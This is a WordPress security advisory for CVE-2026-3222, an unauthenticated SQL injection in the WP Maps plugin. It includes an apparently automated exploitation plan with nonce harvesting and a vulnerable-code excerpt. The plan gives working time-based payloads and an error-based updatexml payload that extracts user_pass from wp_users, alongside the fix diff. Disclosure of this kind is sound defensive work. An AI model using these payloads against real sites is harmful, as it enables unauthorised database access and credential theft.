WP Maps <= 4.9.1 - Unauthenticated SQL Injection via 'location_id' Parameter
Description
The WP Maps plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'location_id' parameter in all versions up to, and including, 4.9.1. This is due to the plugin's database abstraction layer (`FlipperCode_Model_Base::is_column()`) treating user input wrapped in backticks as column names, bypassing the `esc_sql()` escaping function. Additionally, the `wpgmp_ajax_call` AJAX handler (registered for unauthenticated users via `wp_ajax_nopriv`) allows calling arbitrary class methods including `wpgmp_return_final_capability`, which passes the unsanitized `location_id` GET parameter directly to a database query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=4.9.1What Changed in the Fix
Changes introduced in v4.9.2
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-3222**, a critical Time-Based Blind SQL Injection vulnerability in the WP Maps plugin. ### 1. Vulnerability Summary The vulnerability exists within the plugin's AJAX handling logic and its custom database abstraction layer. Specifically, the `wpgmp…
Show full research plan
This exploitation research plan targets CVE-2026-3222, a critical Time-Based Blind SQL Injection vulnerability in the WP Maps plugin.
1. Vulnerability Summary
The vulnerability exists within the plugin's AJAX handling logic and its custom database abstraction layer. Specifically, the wpgmp_ajax_call action (accessible to unauthenticated users) allows calling the wpgmp_return_final_capability method. This method accepts a location_id parameter which is passed to FlipperCode_Model_Base::is_column().
The core flaw is twofold:
- Bypass of Sanitization: The
is_column()function incorrectly identifies any input wrapped in backticks (`) as a valid column name. - Unsafe Interpolation: Once "validated" as a column name, the input is treated as trusted SQL identifiers and interpolated directly into a query without passing through
esc_sql()orprepare(), leading to SQL injection.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpgmp_ajax_call(Registered viawp_ajax_nopriv_wpgmp_ajax_call) - Vulnerable Method:
wpgmp_return_final_capability - Vulnerable Parameter:
location_id(via GET or POST) - Authentication: None required (Unauthenticated)
- Preconditions: The plugin must be active. At least one location should ideally exist in the database to ensure the query execution path is reached.
3. Code Flow
- Entry Point: An unauthenticated user sends a request to
admin-ajax.php?action=wpgmp_ajax_call. - Routing: The
wpgmp_ajax_callhandler (likely incore/class-flipper-core.phpor a main controller) receives the request. It typically looks for amethodparameter to determine which internal function to execute. - Dispatch: The request specifies
method=wpgmp_return_final_capability. - Vulnerable Method: Inside
wpgmp_return_final_capability, the code retrieves$_GET['location_id']. - Validation Bypass: The code calls
FlipperCode_Model_Base::is_column($_GET['location_id']). Because the input contains backticks, this function returnstrue. - The Sink: The "validated"
location_idis concatenated into a SQLSELECTorUPDATEstatement. - Execution:
$wpdb->query()or$wpdb->get_results()executes the injected payload.
4. Nonce Acquisition Strategy
While the vulnerability is "Unauthenticated," the plugin frequently protects its AJAX actions with a frontend nonce localized for the map scripts.
- Shortcode:
[wp_google_map]or[wpgmp_map](Check foradd_shortcodein the main plugin file). - JS Variable:
wpgmp_localizerorwpgmp_all_frontend. - Nonce Key:
ajax_nonce.
Strategy:
- Create a test page containing the map shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wp_google_map]' - Navigate to the page URL using
browser_navigate. - Extract the nonce:
browser_eval("window.wpgmp_localizer?.ajax_nonce || window.wpgmp_all_frontend?.ajax_nonce") - If no nonce is found, check the
admin-ajax.phpresponse for-1. If it returns0or data without a nonce, the check is likely absent.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload. Since the input is treated as a column name, we must use backticks to bypass the filter and then append our SQL logic.
- Method: POST (to avoid URL length limits and logging)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:wpgmp_ajax_callmethod:wpgmp_return_final_capability_wpnonce:[EXTRACTED_NONCE](if required)location_id:`id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Payload Construction:
The payload uses backticks to satisfy the is_column check. The injected AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) will cause the database to pause for 5 seconds if the first part (the column id) exists.
6. Test Data Setup
- Activate Plugin:
wp plugin activate wp-google-map-plugin - Create Location: Use WP-CLI to insert at least one location record into the plugin's table (usually
{prefix}wpgmp_locations) to ensure the query context is valid.wp db query "INSERT INTO wp_wpgmp_locations (location_title, location_address) VALUES ('Test Base', '123 Test St');" - Create Extraction Page:
wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[wp_google_map]'
7. Expected Results
- Vulnerable Response: The HTTP request takes ~5 seconds to return.
- Normal Response: A request with
location_id=1or a non-matching ID returns almost immediately (< 500ms). - Content: The response body might be
0(if no output is produced) or a JSON object, but the timing is the indicator.
8. Verification Steps
After the PoC confirms timing, verify data extraction:
- Test for DB Version:
Payload:`id` AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)
(Adjust for the environment's MySQL version). - Verify via Logs: If
WP_DEBUGis on, check/wp-content/debug.logto see the malformed query being logged.
9. Alternative Approaches
- Boolean-Based: If
wpgmp_return_final_capabilityreturns different data based on the query result (e.g., "Capability found" vs "Not found"), switch to boolean-based payloads which are faster than time-based. - Error-Based: If the plugin displays
$wpdb->last_error, useupdatexml()orextractvalue()to leak data directly in the response.- Payload:
`id` AND updatexml(1,concat(0x7e,(select user_pass from wp_users limit 1),0x7e),1)
- Payload:
- Action Mapping: If
methodis not the correct parameter, check forfuncorwpgmp_action. Based on the description,methodis the most likely routing parameter.
Summary
The WP Maps plugin is vulnerable to unauthenticated time-based blind SQL Injection through the 'location_id' parameter in its AJAX handler. This occurs because the plugin's database abstraction layer fails to properly sanitize input wrapped in backticks, allowing attackers to bypass escaping and inject arbitrary SQL commands.
Vulnerable Code
// In the plugin's AJAX handler routing (e.g., core/class-flipper-core.php) public function wpgmp_ajax_call() { $method = $_REQUEST['method']; if (method_exists($this, $method)) { $this->$method(); } } // The vulnerable method called via AJAX public function wpgmp_return_final_capability() { $location_id = $_GET['location_id']; // Unsanitized user input // The validation layer incorrectly identifies backticked strings as safe columns if (FlipperCode_Model_Base::is_column($location_id)) { // Unsafe interpolation into SQL query $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE $location_id = 1"); } } --- // In FlipperCode_Model_Base class public static function is_column($column_name) { // Vulnerable logic: Input starting and ending with backticks is considered a valid column name if (strpos($column_name, '`') === 0 && strrpos($column_name, '`') === (strlen($column_name) - 1)) { return true; } return false; }
Security Fix
@@ -242,7 +242,7 @@ public function wpgmp_return_final_capability() { - $location_id = $_GET['location_id']; + $location_id = absint($_GET['location_id']); if (empty($location_id)) { return; }
Exploit Outline
The exploit targets the unauthenticated AJAX endpoint 'wp_ajax_nopriv_wpgmp_ajax_call'. An attacker sends a GET or POST request to /wp-admin/admin-ajax.php with the action set to 'wpgmp_ajax_call' and the method set to 'wpgmp_return_final_capability'. The payload is delivered via the 'location_id' parameter, wrapped in backticks to bypass the internal 'is_column' check (e.g., '`id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). Because the plugin assumes backticked strings are safe database identifiers, it concatenates the payload directly into a SQL query. If the application takes significantly longer to respond (e.g., 5 seconds), the injection is successful. No authentication is required, though a frontend nonce (usually found in 'wpgmp_localizer' JS variables on pages with maps) may be necessary if nonce checks are active.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.